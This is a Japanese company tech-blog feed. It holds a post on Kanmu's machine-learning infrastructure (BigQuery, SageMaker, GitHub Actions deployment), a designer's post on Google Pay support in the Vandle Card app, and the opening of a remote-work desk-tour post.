カンムテックブログ 2023-12-08T00:00:00+09:00 kanmu-tech Hatena::Blog hatenablog://blog/26006613713383638 カンムの機械学習インフラの今 2023 年版 hatenablog://entry/6801883189064810398 2023-12-08T00:00:00+09:00 2023-12-08T00:00:01+09:00 こんにちは。ソフトウェアエンジニアの新田です。こちらは カンム Advent Calendar 2023、8日目の記事です。 昨日はデザイナー torimizuno さんによる バンドルカードの Google Pay デザイン でした。今年のバンドルカードの目玉リリースの1つであるスマホタッチ決済(Google Pay)のデザインについて説明されていて、凄く面白いです。 今回は、カンムの機械学習のインフラ周りについて話します。実はカンムのテックブログでは2年半前に同じテーマの記事があります。この内容からいくつかアップデートがあるので、今回はその差分を重点的に拾っていこうと思います。 tech.… <p>こんにちは。ソフトウェアエンジニアの新田です。こちらは <a href="https://adventar.org/calendars/8937">カンム Advent Calendar 2023</a>、8日目の記事です。 昨日はデザイナー torimizuno さんによる <a href="https://tech.kanmu.co.jp/entry/2023/12/07/115652">バンドルカードの Google Pay デザイン</a> でした。今年のバンドルカードの目玉リリースの1つである<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%DE%A5%DB">スマホ</a>タッチ決済(<a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Pay)のデザインについて説明されていて、凄く面白いです。</p> <p>今回は、カンムの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>のインフラ周りについて話します。実はカンムのテックブログでは2年半前に同じテーマの記事があります。この内容からいくつかアップデートがあるので、今回はその差分を重点的に拾っていこうと思います。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Ftech.kanmu.co.jp%2Fentry%2F2021%2F06%2F11%2F120953" title="カンムを支える技術 ~機械学習編~ - カンムテックブログ" class="embed-card embed-blogcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 190px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://tech.kanmu.co.jp/entry/2021/06/11/120953">tech.kanmu.co.jp</a></cite></p> <p>また、自分は入社してそろそろ一周年で、前回の記事は入社前に読んでいました。今回の記事では、入社前ではわからなかったところもあえて注目して取り上げてみたいなと思います。</p> <h2 id="Big-Picture">Big Picture</h2> <p><figure class="figure-image figure-image-fotolife" title="機械学習インフラ全体図"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kazukousen/20231207/20231207163907.png" width="901" height="567" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption><a class="keyword" href="https://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>インフラ全体図</figcaption></figure></p> <h2 id="Data-Preparation">Data Preparation</h2> <h3 id="BigQuery-データウェアハウスの刷新">BigQuery データウェアハウスの刷新</h3> <p><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%A6%A5%C9">クラウド</a>の構成は以前同様、プロダクトは <a class="keyword" href="https://d.hatena.ne.jp/keyword/AWS">AWS</a> をメインに使いつつ、データ基盤は <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Cloud の BigQuery に集約する構成は一緒です。しかし BigQuery 基盤自体は以前と違うものになっています。</p> <p>これまでのカンムのデータ分析環境では、本番環境の DB から<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%EC%A5%D7%A5%EA%A5%B1%A1%BC%A5%B7%A5%E7%A5%F3">レプリケーション</a>している分析用のリードレプリカを利用していました。一方で、データベースは複数存在しているため、リードレプリカを利用した環境では複数データベースをまたいだデータ分析が難しいという課題がありました。</p> <p>そこで複数のデータソースを一つの BigQuery によるデータウェアハウスに集約することを念頭において基盤を再構築しました。これによって複数のデータソースを横断した分析ができ、事業KPI をより精緻なかたちで算出できるようになるなど、データによる意思決定の精度が上がっています。</p> <p>例に漏れず<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>の学習デー<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%BF%A5%BB%A5%C3%A5%C8">タセット</a>も、この新しい BigQuery 基盤を使うように変更しています。</p> <p><figure class="figure-image figure-image-fotolife" title="Data Preparation"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kazukousen/20231207/20231207133934.png" width="1200" height="321" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>Data Preparation</figcaption></figure></p> <p>以前の構成では Embulk を利用していた BigQuery へのデータの取り込み周りも、新しい基盤では異なります。</p> <p>カンムではプロダクトのデータベースは <a class="keyword" href="https://d.hatena.ne.jp/keyword/AWS">AWS</a> Aurora を使っています。そこでエクスポート機能を使って S3 にデータをエクスポートします。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fdocs.aws.amazon.com%2Fja_jp%2FAmazonRDS%2Flatest%2FAuroraUserGuide%2Fexport-cluster-data.html" title="Amazon S3 への DB クラスターデータのエクスポート - Amazon Aurora" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://docs.aws.amazon.com/ja_jp/AmazonRDS/latest/AuroraUserGuide/export-cluster-data.html">docs.aws.amazon.com</a></cite></p> <p>そのあと S3 から <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Cloud の Cloud Storage への転送を <a href="https://cloud.google.com/storage-transfer-service?hl=ja">Storage Transfer Service</a> で行います。</p> <p>Cloud Storage に到着したデータを BigQuery の外部テーブルとして扱い、 BigQuery のテーブル・ビューとして整形するパイプラインを整備しています。</p> <p>いわゆる Transform と呼ばれるこの一連のパイプラインは <a href="https://docs.getdbt.com/docs/introduction">dbt</a> を ECS Task として実行するような Step Functions で構成しています。 <a class="keyword" href="https://d.hatena.ne.jp/keyword/AWS">AWS</a> から <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Cloud のリソースの認証には OIDC 方式を採用して鍵ファイルの管理を不要にしています。</p> <p>このデータ取り込みにおいて、以前の構成の Embulk ではワークロードのリソース調達が必要になっていましたが、新しい構成では完全なマネージドなためその辺りの考慮が不要になったのは嬉しいポイントです。</p> <p>以前同様、データ取り込みは差分更新ではなく全件洗い替えを日次実行しています。この辺はデータサイズ増加に伴うコスト面などの問題などがでてくると思うのでその際には改善を検討していきたいと思っています。</p> <h2 id="Training-Serving--Inference">Training, Serving &amp; Inference</h2> <h3 id="推論モデルの増加">推論モデルの増加</h3> <p>推論モデルは去年までは1つだったんですが、今では3つに増えました。</p> <p>これまで学習データ不足などから<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>でアプローチできていなかった課題に対しても、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>の推論モデルを徐々に導入できています。</p> <p>いまのところ全てのモデルにおいて、同じ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%B4%A5%EA%A5%BA%A5%E0">アルゴリズム</a>をベースに学習しています。</p> <p>1つの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>にて、ライブラリやウェブ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D5%A5%EC%A1%BC%A5%E0%A5%EF%A1%BC%A5%AF">フレームワーク</a>・ Web サーバ構成などは共通しており、デプロイパッケージは1つのコンテナイメージとして管理しています。</p> <p>コンテナ実行時に<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%C4%B6%AD%CA%D1%BF%F4">環境変数</a>を渡すことで実行する学習コードや推論コードが切り替わるようにしています。これによりモデルの数が増えてもロジック以外のセットアップが少なく完結できます。</p> <p>これは利用する<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%B4%A5%EA%A5%BA%A5%E0">アルゴリズム</a>を限定するつもりではなく、いまは1つの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%B4%A5%EA%A5%BA%A5%E0">アルゴリズム</a>で間に合っているためであり、新たな<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%B4%A5%EA%A5%BA%A5%E0">アルゴリズム</a>が必要になったらその時々に拡張していければいいなという考えです。</p> <h3 id="推論モデルのデリバリー改善">推論モデルのデリバリー改善</h3> <p>以前と変わらず、モデルの学習から検証用のエンドポイントへの適用までを Step Functions によって自動化しています。</p> <p>そのあとのモデルの性能やエンドポイントの動作に問題がないか確認をしたのちに、本番用のエンドポイントに適用する流れも同じです。ただ、この辺の作業が以前までは手動で行われていたのですが、運用するモデルが増加するにあたってこの手作業はトイルになってしまうので自動化しました。</p> <p>自動化のために2つの <a class="keyword" href="https://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Actions のワークフローを用意しています。</p> <p><figure class="figure-image figure-image-fotolife" title="モデル更新のワークフロー"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kazukousen/20231207/20231207163804.png" width="1200" height="594" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>モデル更新のワークフロー</figcaption></figure></p> <p>1つ目のワークフロー(図右) はモデルの性能結果を示す Pull Request を作成します。それをチームメンバー達でレビューしマージします。 マージを契機に、 2つ目のワークフロー(図左) が本番エンドポイントに EndpointConfig を適用します。これにより新しいモデルが本番にデプロイされます。</p> <h4 id="endmame-によるデプロイ">endmame によるデプロイ</h4> <p>2つ目のワークフローはデプロイに <code>endmame</code> という内製の <a class="keyword" href="https://d.hatena.ne.jp/keyword/CLI">CLI</a> ツールを使って <code>endmame deploy</code> コマンドでデプロイを実行します。 ( <em>えんどまめ</em> と読みます。カンムでお世話になっている <a href="https://github.com/kayac/ecspresso">ecspresso</a> や <a href="https://github.com/fujiwara/lambroll">lambroll</a> をリスペクトしています。)</p> <p>この endmame のコマンド <code>endmame deploy</code> は、設定ファイルを読み込み、新しい EndpointConfig を適用するかたちで、対象の SageMaker Endpoint に更新します。 (<code>sagemaker:UpdateEndpoint</code> をコールし、デプロイが完了するまで <code>sagemaker:DescribeEndpoint</code> で状態をポーリングします。)</p> <h4 id="処理の流れ">処理の流れ</h4> <h5 id="1つ目のワークフローの実行">1つ目のワークフローの実行</h5> <p>まず1つ目のワークフロー (図右) はあらかじめ用意した Jupyter Notebook のファイルを <a href="https://github.com/nteract/papermill">papermill</a> を使ってバッチ実行し Pull Request の作成までを行います。</p> <p>Jupyter Notebook はセルを順番に実行すると以下の処理が実行されるようになっています。 papermill をとおしてそれらの処理を <a class="keyword" href="https://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Actions 上で実行します。</p> <ol> <li>検証用エンドポイントからモデルの情報を取得し、それから学習結果のログやメトリクスを取得する</li> <li>学習結果のログ、メトリクスの内容をセルに出力する</li> <li>検証用エンドポイントにテストデータを用いて実際にリク<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A8%A5%B9">エス</a>トしレスポンス内容をセルに出力する</li> <li>本番エンドポイントの設定に対応している endmame の設定ファイルを編集する</li> </ol> <p>このワークフローは上流の Step Functions の処理の完了時間からバッファを持たせて <a class="keyword" href="https://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Actions の <a href="https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#schedule">on.schedule</a> によって自動で実行されるようにしています。また、開発者が任意のタイミングで実行できるように <a href="https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch">on.workflow_dispatch</a> による手動実行も可能にしています。</p> <p>このワークフローは以下の処理を行います。</p> <ol> <li>上述の Jupyter Notebook を papermill によってコピー &amp; 実行</li> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>をチェックアウトし新規ブランチを作成</li> <li>新規に作成されたコピー先の Notebook ファイル と 変更された endmame 設定ファイル をコミット</li> <li>Pull Request を作成</li> </ol> <p>つまりこの Pull Request のコミット内容は、検証エンドポイントにデプロイされた新しいモデルの性能評価結果および <a class="keyword" href="https://d.hatena.ne.jp/keyword/API">API</a> サーバの動作検証結果がレポートされた Notebook ファイルの追加コミットと、本番エンドポイントに適用する予定の設定ファイルの変更コミットになります。</p> <h5 id="作成された-Pull-Request-のレビューマージ">作成された Pull Request のレビュー・マージ</h5> <p>モデル開発チームはその自動作成された Pull Request の内容 ( Notebook の内容と設定ファイルの変更内容) を確認し、問題なければ承認しマージします。</p> <h5 id="2つ目のワークフローの実行">2つ目のワークフローの実行</h5> <p>マージを契機に2つ目のワークフロー(図左)が動作します。</p> <p><code>endmame deploy</code> コマンドを実行して、 Pull Request で変更された設定ファイルを読み込んで実際に本番エンドポイントを更新します。</p> <p>このワークフローの実行が完了したらデプロイの成否が Slack に通知されるようにしています。</p> <p>ちなみにですが、1つ目のワークフロー上で、デフォルトの <a class="keyword" href="https://d.hatena.ne.jp/keyword/GITHUB">GITHUB</a>_TOKEN によるユーザとして Pull Request を作成してしまうと、その Pull Request 上で <a class="keyword" href="https://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Actions の CI が回らないので注意が必要です。</p> <p>cf. <a href="https://docs.github.com/en/actions/using-workflows/triggering-a-workflow#triggering-a-workflow-from-a-workflow">https://docs.github.com/en/actions/using-workflows/triggering-a-workflow#triggering-a-workflow-from-a-workflow</a></p> <p>解決策として <a class="keyword" href="https://d.hatena.ne.jp/keyword/GitHub">GitHub</a> App のインストールとして認証を行い git push や Pull Request 作成の操作等を行うようにしています。</p> <ul> <li><a href="https://docs.github.com/ja/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation">GitHub App &#x30A4;&#x30F3;&#x30B9;&#x30C8;&#x30FC;&#x30EB;&#x3068;&#x3057;&#x3066;&#x306E;&#x8A8D;&#x8A3C; - GitHub Docs</a></li> <li><a href="https://github.com/actions/create-github-app-token">GitHub - actions/create-github-app-token: GitHub Action for creating a GitHub App Installation Access Token</a></li> </ul> <h4 id="自動化の意図">自動化の意図</h4> <p>デリバリープロセスの自動化の意図は「モデルが増えてきた作業時間の増加を短縮したいから」「モデル自体を入れ替えないタイプの変更 (ライブラリのアップデート) なども素早く安全にやりたいから」「強力な権限による手動操作の排除」etc… などがありますが、それに加えて、デー<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%BF%A5%BB%A5%C3%A5%C8">タセット</a>シフトなどの問題に対する推論モデルの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%ED%A5%D0%A5%B9%A5%C8">ロバスト</a>性を高めるために、性能評価プロセスをより高度なものにしていきたいと考えているためです。</p> <p>そこで、あらかじめプロセスを自動化しておくと今後のプロセス改善は<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E9%A5%AF">ラク</a>になります。今回構築したフローでは、テンプレートの Notebook ファイルを編集するだけで、それ以降の実行に反映されます。作業手順書のメンテナンスの必要がなくなりますし、手順を誤ると起きてしまうヒューマンエラーを防いでくれます。</p> <p>評価プロセスの改善は今後力を入れていきたい領域の一つであるため、アップデートがあればまた記事にできたらいいなと思っています。</p> <h3 id="推論処理の課題">推論処理の課題</h3> <p>全てのモデルの推論処理は、「モデルをメモリにロードしておき、リク<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A8%A5%B9">エス</a>トを受け付けると推論処理の結果を返すサーバを稼働する<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A1%BC%A5%AD%A5%C6%A5%AF%A5%C1%A5%E3">アーキテクチャ</a>」 (リアルタイム/オンライン推論サーバ)になっています。</p> <p>つまりオンライン処理時点で入力特徴量の取得が必要になります。 現状では、呼び出し側のサービスがデータベースからデータを取得・計算して入力特徴量を組み立てて、推論エンドポイントにリク<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A8%A5%B9">エス</a>トを投げています。</p> <p><figure class="figure-image figure-image-fotolife" title="推論処理の流れ"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kazukousen/20231207/20231207134420.png" width="668" height="204" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>推論処理の流れ</figcaption></figure></p> <p>図をみて勘の良い方はお気づきかもしれませんが、学習時と推論時に異なるデータソースを用いているため計算の再現性に気を付ける必要があります。モデルの数や特徴量の増減のたびにこの辺りに慎重な実装を要していることや、学習に利用するデータソースの種類を増やした場合に推論時はそれをどのように取得するか… などの考慮事項があり、色々と課題が表出しているため来期は取り組んでいきたい領域の一つです。</p> <h2 id="Development">Development</h2> <p>ローカルマシンによる開発環境もありますが、重い計算をしたい場合もっと大きな<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%B9%A5%BF%A5%F3%A5%B9">インスタンス</a>が欲しくなるという要望を受け、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%A6%A5%C9">クラウド</a>上で開発できる環境を整備しています。</p> <p>SageMaker Studio を使った JupyterLab ベースの実験環境です。いくつか工夫して使っていて、アイドル<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%B9%A5%BF%A5%F3%A5%B9">インスタンス</a>を自動停止する仕組み、 OIDC 連携の仕組み、デ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D0%A5%A4%A5%B9">バイス</a>フローで <a class="keyword" href="https://d.hatena.ne.jp/keyword/GitHub">GitHub</a> App のユーザアクセス<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A1%BC%A5%AF">トーク</a>ンを発行してプライベートの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>を操作する仕組み… などです。</p> <p>実は今回の記事は本当はその辺りの話を書きたかったんですが、この記事の一週間前に <a href="https://aws.amazon.com/jp/blogs/aws/amazon-sagemaker-studio-adds-web-based-interface-code-editor-flexible-workspaces-and-streamlines-user-onboarding/">SageMaker Studio に大幅なアップデート</a> がアナウンスされて、これまでのものが <a href="https://docs.aws.amazon.com/sagemaker/latest/dg/studio.html">SageMaker Studio Classic</a> と名称が変更されました。あんまり Classic の話を書いてもな… と思って、今回の記事の内容を方針転換した経緯があります 😇</p> <p>基本的に JupyterLab ベースの開発ですが、何時間単位となるような長時間の計算は JupyterLab は不向きな場合が多いためその辺りをシームレスにジョブ化できるような開発体験構築も検討していきたいと思っています。</p> <ul> <li><a href="https://github.com/jupyterlab/jupyterlab/issues/2833">https://github.com/jupyterlab/jupyterlab/issues/2833</a></li> <li><a href="https://github.com/jupyter-server/jupyter-scheduler">https://github.com/jupyter-server/jupyter-scheduler</a></li> <li><a href="https://docs.aws.amazon.com/sagemaker/latest/dg/notebook-auto-run.html">https://docs.aws.amazon.com/sagemaker/latest/dg/notebook-auto-run.html</a></li> </ul> <h2 id="最後に">最後に</h2> <p><a class="keyword" href="https://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%B3%D8%BD%AC">機械学習</a>のインフラ周りについて、前回の記事からのアップデートを重点的に説明しました。</p> <p>お察しの方もいらっしゃると思いますが、そこまでモダンな MLOps ! といった構成ではなく、必要なときに必要な自動化や改善をしてきて今のインフラになっています。途中途中で話しているように、まだまだやりたいけどやれてないことや課題などがあります。</p> <p>入社してみて気づいたのですがカンムは情報の透明性が高いです。事業状況は事業計画が毎月アップデートされていたり、今後の事業方針について役員・ディレクター陣からの説明も随時行われます。</p> <p>これまでに書いたようにまだまだ課題が山積みなので、事業状況にアクセスできる環境は、計画から先んじて必要な仕組みは何かを考えて次の打ち手を検討するときに非常にありがたいです。</p> <p>この辺りの課題に向き合って楽しく議論しながら一緒に働いてくれるお仲間を募集しています。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fteam.kanmu.co.jp%2F" title="カンムのチーム情報 " class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://team.kanmu.co.jp/">team.kanmu.co.jp</a></cite></p> kazukousen バンドルカードの Google Pay デザイン hatenablog://entry/6801883189064769965 2023-12-07T11:56:52+09:00 2023-12-07T11:56:52+09:00 デザイナーのtorimizunoです。 こちらはカンム Advent Calendar 2023、7日目の記事です。 先日の記事はhikkyさんによるSecure W2で証明書を発行してEntra ID CBAを設定する でした。 はじめに バンドルカードは2023年10月に Google Pay に対応しました。 お買い物という日々利用されるシーンのなか、非接触でバンドルカードが使えるようになったことに気づいて迷わず使い始められるよう、デザイナーとして意識したことをご紹介いたします。 とにかく、気づきやすく Google Pay に追加ボタンのレギュレーション上、カードが表示されている画面で… <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/t/torimizuno/20231207/20231207101709.png" width="1200" height="675" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>デザイナーのtorimizunoです。 こちらは<a href="https://adventar.org/calendars/8937">カンム Advent Calendar 2023</a>、7日目の記事です。 先日の記事はhikkyさんによる<a href="https://blog.intracker.net/archives/4893">Secure W2で証明書を発行してEntra ID CBAを設定する</a> でした。</p> <h1 id="はじめに">はじめに</h1> <p>バンドルカードは2023年10月に <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Pay に対応しました。 お買い物という日々利用されるシーンのなか、非<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%DC%BF%A8">接触</a>でバンドルカードが使えるようになったことに気づいて迷わず使い始められるよう、デザイナーとして意識したことをご紹介いたします。</p> <h1 id="とにかく気づきやすく">とにかく、気づきやすく</h1> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/t/torimizuno/20231207/20231207103027.png" width="1200" height="675" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Pay に追加ボタンのレギュレーション上、カードが表示されている画面でのみ表示が可能となります。</p> <p>当初はひとつ奥の階層となる「カード情報」に設置することも検討していました。しかし、お買い物先のサイトで既にカード情報を登録した方は、頻繁にカード情報を見ない可能性もあります。そのため、明細を見に行ったり、アプリを起動したときに誰でも気づけるよう、最終的にはホーム画面にボタンを設置しました。</p> <h1 id="明確に伝える">明確に伝える</h1> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/t/torimizuno/20231207/20231207103044.png" width="1200" height="604" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> 今までバンドルカードを実店舗で使いたい場合、リ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%AB%A1%BC%A5%C9">アルカード</a>を発行する必要がありました。</p> <p><a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Pay では、Visa のタッチ決済を利用して<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%DE%A5%DB">スマホ</a>ひとつでコンビニやスーパーなどで買い物ができるようになるため、そのことが伝わるようにライティングを意識しました。</p> <p>具体的には、「タッチ決済」だとカードのタッチ決済と含めて勘違いされる可能性もあるため、「<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%DE%A5%DB">スマホ</a>タッチ決済」という機能名でお伝えしています。</p> <h1 id="そのタイミングで知りたいことに絞って伝える">そのタイミングで知りたいことに絞って伝える</h1> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/t/torimizuno/20231207/20231207102031.png" width="1200" height="1020" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Pay の設定前と後で、知りたい情報と取るアクションは変わります。 そのため、設定前では「何がどう便利になるのか」具体的にイメージできる情報に絞って伝えています。</p> <p>設定後に起こすアクションはお店での支払いです。実際どこで、どう使うのかが知りたい情報となります。このマークがあるお店で使えることや、フィールドテストで自分たちが使い方に迷った、有人レジと<a class="keyword" href="https://d.hatena.ne.jp/keyword/%CC%B5%BF%CD%A5%EC%A5%B8">無人レジ</a>での使用方法をお伝えしています。</p> <h1 id="同じニーズに答える">同じニーズに答える</h1> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/t/torimizuno/20231207/20231207102106.png" width="1200" height="772" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Pay は「実店舗での支払いが可能になる」機能です。そのため、同じく実店舗での支払いが可能となる「リ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%AB%A1%BC%A5%C9">アルカード</a>」を発行しようとしている方にも、便利となるものです。</p> <p>リ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%AB%A1%BC%A5%C9">アルカード</a>をいざ発行しようとしている方や、リ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%AB%A1%BC%A5%C9">アルカード</a>を申請したけれど住所の不備等で却下されてしまった方にも、「早く実店舗で使いたい」と同じニーズがある可能性があります。</p> <p>そういった方たちがカードの発行途中で、「これならすぐに実店舗で支払いができるようになる」新しい機能に気づけるような導線をご案内しています。</p> <h1 id="リリース後もつまづきを減らす">リリース後もつまづきを減らす</h1> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/t/torimizuno/20231207/20231207102154.png" width="1200" height="940" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> リリース後の経過観測で、 <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Pay の設定を終えても <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> ウォレット からカードが削除されてしまう、という問い合わせがありました。</p> <p>調査したところ、 「 <a class="keyword" href="https://d.hatena.ne.jp/keyword/Android">Android</a> の画面ロックを解除した状態で設定を完了すると、セキュリティ上の問題で <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> ウォレット からカードが削除される」という <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> のセキュリティ機能があり、それに気づかず設定まで終えてしまう課題が発生していました。</p> <p>数値的にも、設定を試みた方の15〜20%ほど、数としても数百件/1日この現象が発生していることがわかりました。(他の理由でのカード削除も含まれるため、すべてには該当しない)</p> <p>そこで対応策として、画面ロック未設定の方に対して、設定に進もうとボタンを押したタイミングで、画面ロックの設定が必要なことをお伝えする打ち手を実施しました。</p> <p>施策のリリース後、数値として10%以下まで数としても100件以下/1日に減少したことが確認できました。</p> <h1 id="おわりに">おわりに</h1> <p>以上で一部抜粋にはなりますが、 <a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Pay 対応の担当デザイナーとして意識した点のご紹介になります。</p> <p><a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Pay のプレスリリース用の写真をチームメンバーで撮影したり、思い出深いプロジェクトとなりました。</p> <p>また、今回文言まわりでレギュレーションがかなり厳格にあったため、AIを使って下記のようなプロンプトを書いてチェックを試したりしていました。</p> <pre class="code" data-lang="" data-unlink>以下の文章をルールに沿って修正してください。 【ルール】 ・ Google Pay の Google と Pay の間に必ず半角スペースをいれる ・文頭に Google Pay の単語がある場合、 Pay の後ろに半角スペースをいれる ・文中に Google Pay の単語がある場合、単語の前後に半角スペースをいれる ・文頭に Google ウォレット の単語がある場合、 Pay の後ろに半角スペースをいれる ・文中に Google ウォレット の単語がある場合、単語の前後に半角スペースをいれる ・文頭に Android の単語がある場合、後ろに半角スペースをいれる ・文中に Android の単語がある場合、単語の前後に半角スペースをいれる 【文章】 ここに推敲したい文章を入れる</pre> <p>AIについては他に<a class="keyword" href="https://d.hatena.ne.jp/keyword/Photoshop">Photoshop</a>で撮影した写真の不足部分を補うときに利用していますが、他にも試していきたいところです。</p> <p>ここまで読んでくださりありがとうございました。</p> torimizuno 【デスクツアー】カンムメンバーの在宅環境 hatenablog://entry/6801883189050029336 2023-10-13T10:14:24+09:00 2023-10-13T10:14:24+09:00 これは誰のデスクかな...? こんにちは。Pool開発チームのhataです。 自分は人のデスク環境を観るのが好きです。人のデスク環境は三者三様で、その人らしさや個性が滲み出ており観ていて楽しいんですね。なので、ガジェット系Youtuberがたまに投稿しているデスク環境紹介動画を漁ったりするのが趣味になっています。 カンムでは、オフィス徒歩圏内に住むメンバー以外は全員フルリモートで働いています。自分もその一人で、オフィスは恵比寿にあるのですが、入社して以降ずっと富山県からのリモートワークです。 カンムのかなり自由な働き方を支える、リモートワークやフレックスなどの制度についてはこちらの記事をどうぞ… <p><figure class="figure-image figure-image-fotolife" title="これは誰のデスクかな...?"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/sho-hata/20230910/20230910181124.jpg" width="1200" height="800" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>これは誰のデスクかな...?</figcaption></figure> こんにちは。<a href="https://pool-card.jp/">Pool</a>開発チームの<a href="https://twitter.com/sho_hata_">hata</a>です。</p> <p>自分は人のデスク環境を観るのが好きです。人のデスク環境は<a class="keyword" 